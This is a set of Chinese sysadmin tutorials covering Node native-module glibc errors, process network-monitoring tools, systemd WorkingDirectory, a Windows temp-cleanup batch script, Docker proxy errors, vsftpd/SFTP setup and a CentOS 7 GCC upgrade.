宝塔服务器启动 Node 项目,直接崩: Error: /lib64/libm.so.6: version `GLIBC_2.38' not found (required by /www/wwwroot/yourproject/server/node_modules/sqlite3/build/Release/node_sqlite3.node) code: 'ERR_DLOPEN_FAILED'这是典型的 glibc 版本不匹配。sqlite3.node 是个 native 二进制,编译时链接的 glibc 是 2.38,服务器 glibc 只有 2.17 或 2.28,加载不了。 先确认服务器 glibc 版本 ldd --versionCentOS 7 通常是 2.17,Rocky 8 / 老 Ubuntu 是 2.28。而 Ubuntu 24 / Debian 13 的 glibc 已经到 2.38+,本地编译的东西拿过去自然跑不动。 场景还原 99% 是这么造成的:本地新系统 npm install 打包整个项目(包括 node_modules)上传到服务器 服务器上直接 node index.js 崩node_modules/sqlite3/build/Release/node_sqlite3.node 是在本机 Ubuntu 24 编译的,扔到 CentOS 7 上当然报 GLIBC。 四种解法 方案一:服务器重新编译(推荐) cd /www/wwwroot/yourproject/server rm -rf node_modules package-lock.json npm install或者只重编译原生模块: npm rebuild sqlite3编译失败通常是缺工具链: # CentOS / RHEL yum groupinstall "Development Tools" -y yum install python3 gcc gcc-c++ make -y# Ubuntu / Debian apt install build-essential python3 make g++ -y方案二:本地别上传 node_modules 正确的部署流程:本地只上传 package.json + package-lock.json 服务器 npm install.gitignore 里加上 node_modules/,部署脚本里 rsync --exclude=node_modules/,这类问题就彻底没了。 方案三:换更省心的 SQLite 驱动 老牌 sqlite3 依赖 node-gyp 编译,每次升 Node 都可能炸。换成:better-sqlite3(同步 API、性能更好) libsql(Cloudflare 生态)npm install better-sqlite3大多数场景 API 迁移不复杂,还能避开 native 编译地狱。 方案四:升级系统 glibc(不推荐) CentOS 7 手动装高版本 glibc 有极高概率把系统弄崩,别碰。要新 glibc 就直接升系统或者上 Docker——用官方 Node 镜像编译,产物就是那个环境的 glibc。 一条经验 Node 项目部署,永远不要把 node_modules 传上服务器。 让服务器自己 npm install,很多 native 模块问题从此消失。

进程联网监控工具:WFN / Sniffnet / Picosnitch / LuLu

想知道"哪个进程偷偷联网"并实时弹通知,不同系统有不同的成熟开源方案。 Windows:Windows Firewall Notifier(WFN) 最接近需求的工具:进程发起网络连接时弹窗,可以选择允许或拒绝。 特点:基于 Windows 自带防火墙(WFP) 实时弹窗通知:显示进程名、目标 IP/域名、端口 允许/拒绝并记住规则 免费开源(GlassWire 的免费替代)安装后运行即可,不需要修改系统设置。 Windows / Linux / macOS:Sniffnet(流量可视化) Rust 编写,UI 现代,侧重流量监控而非拦截:显示哪个程序在联网、发送/接收了多少流量 支持桌面通知 可过滤特定协议或国家 跨平台(Windows/Linux/macOS)# Windows/macOS 下载安装包 # Linux cargo install sniffnet适合:想了解整体网络情况,而不是逐个审批连接请求。 Linux:Picosnitch eBPF 实现,低开销,功能最强: pip install picosnitch sudo picosnitch start功能:新进程联网时立即通知(systemd/D-Bus 通知) 按可执行文件统计流量 关联父进程(识别子进程发起的连接) 可选接入 VirusTotal 检查新进程 hash Web UI 查看历史记录配置文件(~/.config/picosnitch/config.json): { "Desktop notifications": true, "VT API key": "your_virustotal_api_key" }适合:需要安全审计,或在服务器上追踪异常网络行为。 macOS:LuLu macOS 下最受欢迎的免费联网防火墙:新连接弹窗(允许/拒绝/记住) 显示进程路径和目标地址 支持规则管理 Objective-See 出品(macOS 安全工具知名团队)下载安装包后启用,效果类似 Little Snitch(商业软件)的免费替代。 对比选择工具 系统 特点 是否可拦截WFN Windows 弹窗审批,集成防火墙 ✅Sniffnet 跨平台 流量可视化,UI 好看 ❌Picosnitch Linux eBPF,安全审计,VirusTotal ❌(仅监控)LuLu macOS 弹窗审批,免费 ✅根据场景选择 想控制哪些程序能联网:WFN(Windows)、LuLu(macOS) 想看流量统计和来源:Sniffnet(跨平台) 服务器安全审计/发现异常进程:Picosnitch(Linux) 排查可疑进程(如挖矿木马):先用 Picosnitch/WFN 发现网络连接,再配合 ss -antp | grep <PID> 查目标 IP

开源进程联网通知工具:Windows / Linux / macOS 对比

需求场景 想知道哪个进程在悄悄联网、连的是什么地址,并在出现新连接时弹出通知或提示。 Windows:Windows Firewall Notifier(WFN) GitHub: LeBlue/wfn 基于 Windows 内置防火墙的审计日志,当有进程触发出站连接时弹出通知气泡,可以选择「允许」或「拒绝」,行为类似 macOS 的 LuLu。 特点:不需要驱动,利用 Windows 防火墙事件日志(Event ID 5156/5157) 支持创建防火墙规则白名单 .NET 实现,需要 .NET Runtime启动前需要启用 Windows 防火墙的连接日志: # 以管理员身份运行 auditpol /set /subcategory:"Filtering Platform Connection" /success:enable /failure:enableWindows:Sniffnet(Rust 跨平台) GitHub: GyulyVGC/sniffnet 用 Rust 编写的网络流量监控工具,有图形界面,实时显示每个连接的进程、IP、国家、流量统计。 特点:跨平台(Windows / Linux / macOS) 可过滤特定进程或协议 流量图表可视化 不能主动拦截,只做监控和统计适合想直观看到哪些进程在产生流量、流量走向哪里的场景。 Linux:Picosnitch(eBPF) GitHub: elesiuta/picosnitch 基于 eBPF 的进程网络监控,内核级捕获,开销极低。 特点:记录每个进程的 DNS 查询和连接 SQLite 存储历史 支持通知(desktop notification) 需要 Linux 5.8+ 内核和 root 权限安装: pip install picosnitch sudo picosnitch startmacOS:LuLu GitHub: objective-see/LuLu Objective-See 出品的免费防火墙,功能类似商业的 Little Snitch。 特点:新进程首次出站连接时弹出授权窗口 可以创建规则(允许/拒绝) 显示进程路径、签名、目标地址对比工具 平台 技术原理 能拦截 特点WFN Windows 防火墙审计日志 是 弹窗授权Sniffnet 跨平台 pcap 否 流量可视化Picosnitch Linux eBPF 否 低开销,历史记录LuLu macOS 内核扩展 是 弹窗授权,免费想要拦截 + 弹窗授权:Windows 用 WFN,macOS 用 LuLu。只想监控流量走向:Sniffnet 最直观。Linux 生产环境审计:Picosnitch + SQLite 日志。

systemd Service 设置工作目录:WorkingDirectory 与 ExecStart 相对路径

systemd service 文件通过 WorkingDirectory 指令设置进程启动后的工作目录,等同于 cd 后再执行命令。 基本配置 [Unit] Description=My App Service[Service] Type=simple User=www-data WorkingDirectory=/opt/myapp ExecStart=/usr/bin/python3 main.py Restart=always RestartSec=5[Install] WantedBy=multi-user.target设置 WorkingDirectory=/opt/myapp 后:ExecStart 中的相对路径基于 /opt/myapp 程序内 os.getcwd()(Python)或 process.cwd()(Node.js)返回 /opt/myapp 读写相对路径的文件(如 config.json、logs/)都指向该目录修改配置后重新加载 sudo systemctl daemon-reload sudo systemctl restart myapp.service# 查看服务状态 systemctl status myapp.service每次修改 .service 文件都需要 daemon-reload,否则 systemd 不会读取新配置。 常见问题 User 与目录权限 如果指定了 User=www-data,该用户必须对 WorkingDirectory 有读取权限(通常还需要写权限): sudo chown www-data:www-data /opt/myapp sudo chmod 750 /opt/myapp带有空格的路径 WorkingDirectory=/opt/my app/ # 错误,空格无需引号但会导致解析问题 WorkingDirectory="/opt/my app" # 正确,用引号包裹ExecStart 中用绝对路径 ExecStart 建议始终用绝对路径,避免 $PATH 不同导致找不到命令: ExecStart=/usr/bin/node /opt/myapp/server.js # 不要写:ExecStart=node server.js查看服务文件位置 # 列出所有用户服务文件 ls /etc/systemd/system/# 查看某个服务的完整配置(包括覆盖) systemctl cat myapp.service服务文件通常放在 /etc/systemd/system/ 下,命名为 <name>.service。

systemd 服务里设置工作目录:WorkingDirectory

写 Python / Node 服务的 systemd 单元时,程序里各种相对路径都得基于"工作目录"来解读。systemd 提供了 WorkingDirectory 字段,比在 ExecStart 里 cd 一下再启动规范得多。 最简单的例子 [Unit] Description=My App After=network-online.target[Service] Type=simple User=appuser WorkingDirectory=/opt/myapp ExecStart=/usr/bin/python3 main.py Restart=always RestartSec=3[Install] WantedBy=multi-user.targetWorkingDirectory=/opt/myapp 的效果:进程启动时 cwd 就是这个目录 ExecStart 里的相对路径按它算(比如 python3 main.py 就是 /opt/myapp/main.py) Python 里 os.getcwd() 返回这个目录 写日志到 ./logs/app.log 就是 /opt/myapp/logs/app.log为什么不用 cd 见过这种写法: ExecStart=/bin/bash -c 'cd /opt/myapp && python3 main.py'能跑,但坏处一堆:多一层 shell,进程树多了个 bash 语义没那么直观 systemd 的 Restart / 信号处理会作用在 bash 上,不是真进程 环境变量、User、日志跟你想的不一样能用字段就用字段,cd 是最后的兜底。 常配套的字段 User / Group 以指定用户启动,不用 root 跑业务: User=appuser Group=appuser注意 WorkingDirectory 里的目录必须让这个用户能读、能进: sudo chown -R appuser:appuser /opt/myappEnvironmentFile 把环境变量放外面,方便修改: EnvironmentFile=/etc/myapp/envenv 文件内容: DATABASE_URL=postgres://user:pass@localhost/mydb APP_PORT=8000代码里 os.getenv("DATABASE_URL") 就能拿到。 Restart 崩溃后的行为: Restart=always # 无条件重启 RestartSec=3 # 3 秒后重启 StartLimitInterval=60 # 60 秒内 StartLimitBurst=5 # 最多重启 5 次,再多就放弃生产上都需要——不然崩了以后就得手动来。 日志 默认 stdout / stderr 会走 journald: journalctl -u myapp -f journalctl -u myapp --since "10 minutes ago"想直接写文件: StandardOutput=append:/var/log/myapp/out.log StandardError=append:/var/log/myapp/err.logappend: 需要 systemd 240+,老版本用 file:。 一个"生产可用"的模板 [Unit] Description=My FastAPI App After=network-online.target Wants=network-online.target[Service] Type=simple User=appuser Group=appuser WorkingDirectory=/opt/myapp EnvironmentFile=/etc/myapp/env ExecStart=/opt/myapp/.venv/bin/uvicorn main:app --host 0.0.0.0 --port 8000 Restart=always RestartSec=3 StartLimitBurst=5 StandardOutput=journal StandardError=journal[Install] WantedBy=multi-user.target启用: sudo systemctl daemon-reload sudo systemctl enable --now myapp sudo systemctl status myapp一句话总结 WorkingDirectory=/path 就是 cwd,不要在 ExecStart 里套 bash -c 'cd ... && ...'。搭配 User、EnvironmentFile、Restart 一份 systemd 单元就是完整的服务定义。

Windows bat 脚本清理 Temp 目录:%TEMP% 变量与 del/rmdir 用法

用 %TEMP% 清理当前用户临时目录 @echo off setlocalecho 当前用户: %USERNAME% echo Temp目录: %TEMP%:: 删除文件(/f 强制 /s 子目录 /q 静默) del /f /s /q "%TEMP%\*" >nul 2>&1:: 删除空文件夹 for /d %%p in ("%TEMP%\*") do rmdir /s /q "%%p" >nul 2>&1echo 清理完成 pause%TEMP% 是 Windows 内建变量,直接指向当前用户的临时目录(通常是 C:\Users\用户名\AppData\Local\Temp),不需要手动拼路径。 同时清理系统 Temp(需管理员) @echo off setlocal:: 用户 temp del /f /s /q "%TEMP%\*" >nul 2>&1 for /d %%p in ("%TEMP%\*") do rmdir /s /q "%%p" >nul 2>&1:: 系统 temp(需要管理员权限运行) del /f /s /q "C:\Windows\Temp\*" >nul 2>&1 for /d %%p in ("C:\Windows\Temp\*") do rmdir /s /q "%%p" >nul 2>&1echo 清理完成 pause手动拼接路径写法 如果需要明确用户名,也可以用 %USERNAME% 拼路径: set USER_TEMP=C:\Users\%USERNAME%\AppData\Local\Tempdel /f /s /q "%USER_TEMP%\*" >nul 2>&1 for /d %%p in ("%USER_TEMP%\*") do rmdir /s /q "%%p" >nul 2>&1两种写法效果一致,推荐用 %TEMP% 更简洁。 常见问题 部分文件删不掉 正常现象。系统正在使用的文件(如浏览器缓存、日志)不会被删,>nul 2>&1 会把错误输出吞掉,脚本继续执行,不影响其他文件的清理。 清理完大小没变化 有些文件夹包含只读属性文件。可以在 del 前加 /a 参数(包含只读): del /f /s /q /a "%TEMP%\*" >nul 2>&1不要手动清 C:\Windows\System32\config\systemprofile\AppData\Local\Temp,这是系统服务的临时目录。 设为计划任务定期执行把脚本保存为 clean_temp.bat 打开"任务计划程序"(Task Scheduler) 创建基本任务 → 触发器选"登录时"或"每周" 操作选"启动程序" → 指向 clean_temp.bat 权限选"使用最高权限运行"这样每次登录自动清理,免手动执行。

Docker 拉镜像报 proxyconnect tcp: EOF 的正确解法

宝塔面板上一键部署一个项目,卡在拉镜像那步: Image mysql:8.2 Error Get "https://registry-1.docker.io/v2/": proxyconnect tcp: EOF Error response from daemon: Get "https://registry-1.docker.io/v2/": proxyconnect tcp: EOF关键词是 proxyconnect tcp: EOF——Docker 通过代理连 Docker Hub 时握手就断了。不是网络挂了,是代理配置有问题。 第一步:看 Docker 是不是走代理 docker info | grep -i proxy如果看到类似: HTTP Proxy: http://127.0.0.1:7890 HTTPS Proxy: http://127.0.0.1:7890说明 Docker daemon 被配了代理。接着验证代理是不是能用: curl -x http://127.0.0.1:7890 https://registry-1.docker.io/v2/返回 {} 或认证提示:代理正常 EOF / timeout:代理进程挂了 Connection refused:代理端口没开三个典型场景系统开了 Clash/v2ray,但 Docker daemon 拿不到——Docker 不会自动继承桌面代理,Mac 上尤其容易踩。 代理协议写错——把 http://127.0.0.1:7890 写成了 https://,直接握手失败。 代理软件本身抽风或被墙——重启一下代理再试。解决办法 方案一:临时不走代理 先确认到底是不是代理的锅: unset http_proxy https_proxy HTTP_PROXY HTTPS_PROXY docker pull redis:latest拉得下来就是代理问题,不用再折腾 Docker 本身了。 方案二:配国内镜像源(推荐) 编辑 daemon 配置: sudo mkdir -p /etc/docker sudo nano /etc/docker/daemon.json写入: { "registry-mirrors": [ "https://dockerproxy.com", "https://mirror.ccs.tencentyun.com", "https://registry.docker-cn.com" ] }重启: sudo systemctl daemon-reexec sudo systemctl restart docker再拉镜像基本就通了。注意公开镜像源可用性经常变化,实在拉不下来就换一个。 方案三:正确给 Docker 配代理 如果确实需要走代理,别改环境变量,改 systemd 单元: sudo mkdir -p /etc/systemd/system/docker.service.d sudo nano /etc/systemd/system/docker.service.d/http-proxy.conf写入: [Service] Environment="HTTP_PROXY=http://127.0.0.1:7890" Environment="HTTPS_PROXY=http://127.0.0.1:7890" Environment="NO_PROXY=localhost,127.0.0.1"然后: sudo systemctl daemon-reload sudo systemctl restart docker一句话总结 proxyconnect tcp: EOF = Docker 正在走一个 坏掉的代理。先 unset 代理确认锅在哪儿,然后要么配国内镜像源,要么正确写 systemd 代理配置。

Docker 镜像拉取失败:proxyconnect tcp EOF 与国内镜像源配置

proxyconnect tcp: EOF 这个错误不是 Docker Hub 故障,而是 Docker daemon 正在使用一个不可达的代理。 快速诊断 # 查看 Docker 是否配置了代理 docker info | grep -i proxy# 查看环境变量 env | grep -i proxy如果看到: HTTP Proxy: http://127.0.0.1:7890说明 Docker 正在走代理,需要验证代理是否可用: curl -x http://127.0.0.1:7890 https://registry-1.docker.io/v2/返回 {} 或认证信息 → 代理正常 EOF / timeout → 代理链路断了 Connection refused → 代理未启动方案一:清除代理环境变量(临时) unset http_proxy unset https_proxy unset HTTP_PROXY unset HTTPS_PROXYdocker pull redis:latest如果此时能拉成功,说明就是代理问题。 方案二:配置国内镜像源(推荐) sudo mkdir -p /etc/docker sudo nano /etc/docker/daemon.json写入: { "registry-mirrors": [ "https://mirror.ccs.tencentyun.com", "https://registry.docker-cn.com" ] }然后重启: sudo systemctl daemon-reexec sudo systemctl restart docker验证: docker info | grep -A5 "Registry Mirrors"方案三:正确配置 Docker daemon 使用代理 Docker 不会自动读取系统代理(即使浏览器能上网),需要单独配置: sudo mkdir -p /etc/systemd/system/docker.service.d sudo nano /etc/systemd/system/docker.service.d/http-proxy.conf写入: [Service] Environment="HTTP_PROXY=http://127.0.0.1:7890" Environment="HTTPS_PROXY=http://127.0.0.1:7890" Environment="NO_PROXY=localhost,127.0.0.1"注意:代理地址必须用 http://,不能写 https://: HTTPS_PROXY=https://127.0.0.1:7890 ← 错误 HTTPS_PROXY=http://127.0.0.1:7890 ← 正确重新加载: sudo systemctl daemon-reload sudo systemctl restart docker常见坑 Docker 不继承系统代理:Clash/sing-box 开了,Docker 仍然无法自动使用,必须显式配置 /etc/systemd/system/docker.service.d/http-proxy.conf。 proxyconnect tcp: EOF 和 connection refused 的区别:EOF → 代理在监听但链路断了(软件崩溃、配置错误) refused → 代理根本没有在对应端口监听

Linux 上用 vsftpd 搭 FTP:本地用户 + 被动模式 + 防火墙

Linux 上搭 FTP 最常用 vsftpd(Very Secure FTP Daemon)——轻量、稳定、配置简单。但先说前提:FTP 是明文协议,2024 年再上生产环境只推荐 SFTP 或 FTPS。搭 FTP 通常是维护老系统 / 内网数据交换用。 安装 Ubuntu / Debian: sudo apt update sudo apt install vsftpdCentOS / Rocky: sudo yum install vsftpd启动: sudo systemctl enable --now vsftpd sudo systemctl status vsftpd关键配置 编辑 /etc/vsftpd.conf: # 禁用匿名(生产必须) anonymous_enable=NO# 允许本地用户登录 local_enable=YES# 允许写入 write_enable=YES# 限制用户只能在自己家目录 chroot_local_user=YES allow_writeable_chroot=YES# 被动模式端口范围(关键) pasv_enable=YES pasv_min_port=30000 pasv_max_port=31000# UTF-8 文件名 utf8_filesystem=YES# 日志 xferlog_enable=YES xferlog_file=/var/log/vsftpd.log# 默认监听 21,可改 listen_port=21改完重启: sudo systemctl restart vsftpd为什么需要被动模式端口范围 FTP 协议有两种模式:主动模式(Active):客户端告诉服务器"你连回我的 xxx 端口"——服务器主动发起数据连接。大多数客户端在 NAT 后面,这条路走不通 被动模式(Passive):服务器打开一个端口告诉客户端"你连过来"——现代默认被动模式服务器需要有一段可用端口范围(例子里是 30000-31000)。防火墙必须放行这段: sudo ufw allow 21/tcp sudo ufw allow 20/tcp # 主动模式(可选) sudo ufw allow 30000:31000/tcp sudo ufw reload云服务器(阿里云、腾讯云、AWS)安全组里也要放行这段。经常有人本地防火墙开了、云安全组没开,一样连不上。 创建 FTP 用户 方式 1:普通本地用户 sudo adduser ftpuser sudo passwd ftpuser# 家目录权限 sudo mkdir -p /home/ftpuser/ftp sudo chown -R ftpuser:ftpuser /home/ftpuser/ftp sudo chmod 755 /home/ftpuser方式 2:不允许 shell 登录(更安全) sudo adduser --shell /usr/sbin/nologin ftpuser然后 /etc/shells 里加: /usr/sbin/nologin不然 vsftpd 会拒绝这类用户。 SELinux(CentOS / RHEL) sudo setsebool -P ftp_home_dir on sudo setsebool -P ftpd_full_access on不开 SELinux 布尔值就是"连上能列表、能创建但一写文件就 550"的经典状态。 测试 本机测: ftp -p localhost # -p 强制被动模式或者用现代客户端 lftp: lftp -u ftpuser,PASSWORD ftp://localhost > ls > put test.txt > bye外部测: lftp -u ftpuser,PASSWORD ftp://<服务器 IP>加 TLS 变 FTPS(推荐) 明文 FTP 密码在网上裸奔。加 TLS: # /etc/vsftpd.conf ssl_enable=YES allow_anon_ssl=NO force_local_data_ssl=YES force_local_logins_ssl=YESssl_tlsv1=YES ssl_sslv2=NO ssl_sslv3=NO require_ssl_reuse=NO ssl_ciphers=HIGHrsa_cert_file=/etc/ssl/private/vsftpd.pem rsa_private_key_file=/etc/ssl/private/vsftpd.pem生成自签证书: sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ -keyout /etc/ssl/private/vsftpd.pem \ -out /etc/ssl/private/vsftpd.pem \ -subj "/C=CN/O=Local/CN=ftp.example.com" sudo chmod 600 /etc/ssl/private/vsftpd.pem客户端连 FTPS(FileZilla 里选"要求显式的 FTP over TLS")。 真正推荐:SFTP 其实根本不用装 vsftpd。Linux 只要装了 OpenSSH(99% 服务器都有),就自带 SFTP。 创建 chroot 用户: sudo useradd --shell /usr/sbin/nologin sftpuser sudo passwd sftpuser sudo mkdir -p /home/sftpuser/upload sudo chown root:root /home/sftpuser sudo chown sftpuser:sftpuser /home/sftpuser/upload/etc/ssh/sshd_config 末尾加: Match User sftpuser ChrootDirectory /home/sftpuser ForceCommand internal-sftp AllowTcpForwarding no重启 sshd: sudo systemctl restart sshd客户端用 FileZilla / WinSCP 选 SFTP 就能连——端口 22、加密传输、和 SSH 走一起、防火墙就一个端口。 没有特殊需求,SFTP 优先,FTP 一律不推荐。 一句话总结 vsftpd 搭 FTP 的关键:本地用户 + 被动模式端口范围 + 防火墙放行。生产环境别用明文 FTP,改 SFTP 或者 FTPS。

Centos7升级Gcc

前言 之前讲过一次关于Centos7的GCC版本的升级,这里,主要使用源码对GCC进行升级,即在安装完成后不用再切换GCC环境。 1. 切换到root属性 su yum -y install wget2. 下载GCC源码 以下命令会放在 usr/local/ 下面 wget http://ftp.gnu.org/gnu/gcc/gcc-4.9.2/gcc-4.9.2.tar.gz3. 解压压缩包 cd /usr/local/ tar -zxvf gcc-4.9.2.tar.gz4. 下载编译安装的依赖包 4.1 假设有网的时候 cd gcc-4.9.2 ./contrib/download_prerequisites4.2 假设没网的情况下 如果Linux没有网络连接,则用Windows上网下载这几个包:ftp://ftp.gnu.org/gnu/gmp/gmp-4.3.2.tar.bz2 http://www.mpfr.org/mpfr-2.4.2/mpfr-2.4.2.tar.bz2 http://www.multiprecision.org/mpc/download/mpc-0.8.1.tar.gz然后解压并移动到gcc-4.9.2下面: tar -xjf gmp-4.3.2.tar.bz2 tar -xjf mpfr-2.4.2.tar.bz2 tar -xzf mpc-0.8.1.tar.gz mv gmp-4.3.2 gcc-4.9.2/gmp mv mpfr-2.4.2 gcc-4.9.2/mpfr mv mpc-0.8.1 gcc-4.9.2/mpc5. 编译安装GCC yum install -y gcc-c++ glibc-static gcc ./configure --prefix=/usr/local/gcc --enable-bootstrap --enable-checking=release --enable-languages=c,c++ --disable-multilib make make install编译参数说明--prefix=/usr/local/ 指定安装路径 --enable-bootstrap 用第一次编译生成的程序进行第二次编译 --enable-checking=release 以软件发布版的标准来对编译时生成的代码进行一致性检查 --enable-languages=c,c++ 支持的高级语言类型和运行时库 --disable-multilib 如果你的操作系统是64位,要禁止生成32位代码配置环境变量 1. 查看当前gcc版本 gcc -v # gcc (GCC) 4.8.5 20120313 (Red Hat 4.8.5-16)2. 编写环境变量的路径 vim /etc/profile.d/gcc.sh # 输入:export PATH=/usr/local/gcc/bin:$PATH3. 激活环境变量 source /etc/profile.d/gcc.sh gcc -v # gcc (GCC) 4.9.2导出头文件 ln -sv /usr/local/gcc/include/ /usr/include/gcc导出库文件 vim /etc/ld.so.conf.d/gcc.conf # 添加:/usr/local/gcc/lib64 ldconfig -v ldconfig -p |grep gcc注意事项 如果您的程序之前跑的是一个gcc >= 4.9.2的环境,可以通过以下命令切换: source /opt/rh/devtoolset-7/enable # 或 source scl_source enable devtoolset-7